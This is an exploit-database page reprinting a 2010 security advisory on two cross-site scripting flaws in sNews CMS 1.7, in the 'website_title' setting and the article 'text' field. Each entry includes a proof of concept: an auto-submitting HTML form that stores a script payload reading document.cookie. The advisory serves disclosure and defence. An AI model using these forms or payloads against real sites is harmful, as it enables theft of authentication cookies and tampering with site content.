Home / os / win7

[webapps / 0day] - sNews CMS Multiple XSS Vulnerabilities

Posted on 21 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>sNews CMS Multiple XSS Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='sNews CMS Multiple XSS Vulnerabilities by High-Tech Bridge . in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>====================================== sNews CMS Multiple XSS Vulnerabilities ====================================== Vulnerability ID: HTB22638 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews_1.html Product: sNews Vendor: sNews Team ( tp://www.snewscms.com/ ) Vulnerable Version: 1.7 and probably prior versions Vendor Notification: 05 October 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the &quot;snews.php&quot; script to properly sanitize user-supplied input in &quot;website_title&quot; variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: &lt;form action=&quot;http://host/?action=process&amp;task=save_settings&quot; method=&quot;post&quot; name=&quot;main&quot; &gt; &lt;input type=&quot;hidden&quot; name=&quot;website_title&quot; value=&#039;sNews 1.7&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&#039;&gt; &lt;input type=&quot;hidden&quot; name=&quot;home_sef&quot; value=&quot;home&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;website_description&quot; value=&quot;sNews CMS&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;website_keywords&quot; value=&quot;snews&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;website_email&quot; value=&quot;info (at) mydomain (dot) com [email concealed]&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;contact_subject&quot; value=&quot;Contact Form&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;language&quot; value=&quot;EN&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;charset&quot; value=&quot;UTF-8&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;date_format&quot; value=&quot;d.m.Y.+H:i&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;article_limit&quot; value=&quot;3&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;rss_limit&quot; value=&quot;5&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;display_page&quot; value=&quot;0&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;num_categories&quot; value=&quot;on&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;file_ext&quot; value=&quot;phps,php,txt,inc,htm,html&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;allowed_file&quot; value=&quot;php,htm,html,txt,inc,css,js,swf&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;allowed_img&quot; value=&quot;gif,jpg,jpeg,png&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;comment_repost_timer&quot; value=&quot;20&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;comments_order&quot; value=&quot;ASC&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;comment_limit&quot; value=&quot;30&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;word_filter_file&quot; value=&quot;&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;word_filter_change&quot; value=&quot;&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;save&quot; value=&quot;Save&quot;&gt; &lt;/form&gt; &lt;script&gt; document.main.submit(); &lt;/script&gt; Vulnerability ID: HTB22637 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews.html Product: sNews Vendor: sNews Team ( http://www.snewscms.com/ ) Vulnerable Version: 1.7 and probably prior versions Vendor Notification: 05 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the &quot;snews.php&quot; script to properly sanitize user-supplied input in &quot;text&quot; variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: &lt;form action=&quot;http://host/?action=process&amp;task=admin_article&amp;id=2&quot; method=&quot;post&quot; name=&quot;main&quot; &gt; &lt;input type=&quot;hidden&quot; name=&quot;title&quot; value=&quot;article title&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;seftitle&quot; value=&quot;sefurl&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;text&quot; value=&#039;article text&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&#039; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;define_category&quot; value=&quot;1&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;publish_article&quot; value=&quot;on&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;position&quot; value=&quot;1&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;description_meta&quot; value=&quot;desc&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;keywords_meta&quot; value=&quot;key&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;display_title&quot; value=&quot;on&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;display_info&quot; value=&quot;on&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;fposting_day&quot; value=&quot;29&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;fposting_month&quot; value=&quot;9&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;fposting_year&quot; value=&quot;2010&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;fposting_hour&quot; value=&quot;16&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;fposting_minute&quot; value=&quot;40&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;admin_article&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;edit_article&quot; value=&quot;Edit&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;article_category&quot; value=&quot;1&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;2&quot; /&gt; &lt;/form&gt; &lt;script&gt; document.main.submit(); &lt;/script&gt; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-21]</pre></body></html>

 

TOP